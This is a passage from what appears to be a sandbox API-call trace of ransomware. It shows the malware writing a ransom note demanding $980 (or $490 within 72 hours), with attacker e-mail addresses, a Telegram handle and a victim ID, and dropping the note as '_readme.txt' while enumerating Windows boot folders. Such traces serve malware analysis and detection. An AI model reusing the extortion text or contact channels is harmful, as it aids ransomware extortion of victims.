don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.234] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.234] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.234] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.234] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.234] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.235] CloseHandle (hObject=0x5c0) returned 1 [0059.235] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.235] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.235] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.235] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.236] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.236] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.236] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.236] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.236] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.236] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.236] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: 